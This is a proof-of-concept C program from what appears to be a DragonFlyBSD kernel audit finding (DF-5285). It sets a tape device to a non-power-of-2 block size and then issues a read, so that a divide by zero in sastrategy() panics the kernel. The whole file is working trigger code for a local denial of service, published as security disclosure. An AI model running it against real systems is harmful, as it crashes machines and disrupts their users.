⬢ DragonFlyBSD Kernel Audit
DF-5285 / poc_setblk.c
← back to finding ↓ download raw
/*
 * poc_setblk.c -- DF-5285 trigger: mount the evilsa tape (READ BLOCK
 * LIMITS reports minimum=0), then issue the ordinary "set block size"
 * ioctl for a non-power-of-2 size (3) -- exactly what an operator does
 * when a drive reports odd geometry.  MTSETBSIZ(3) leaves softc->min_blk
 * == 0 while setting blk_mask = ~0; the following read(2) executes
 * `b_bcount % min_blk` in sastrategy() -> integer divide by zero ->
 * kernel panic.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mtio.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/nsa0";
	struct mtop mt;
	char buf[512];
	int fd, n;

	fd = open(dev, O_RDWR);
	if (fd < 0)
		err(1, "open %s", dev);
	printf("opened %s (mount complete: RBL min=%d, variable mode)\n",
	    dev, 0);

	memset(&mt, 0, sizeof(mt));
	mt.mt_op = MTSETBSIZ;
	mt.mt_count = 3;		/* non-power-of-2 fixed blocksize */
	if (ioctl(fd, MTIOCTOP, &mt) < 0)
		err(1, "MTIOCTOP MTSETBSIZ 3");
	printf("MTSETBSIZ 3 accepted: FIXED mode, blk_mask=~0, min_blk still 0\n");

	printf("issuing read(512) -> sastrategy: 512 %% min_blk(0) ...\n");
	fflush(stdout);
	n = read(fd, buf, sizeof(buf));
	if (n < 0)
		err(1, "read");
	printf("NO PANIC: read returned %d\n", n);
	return (1);
}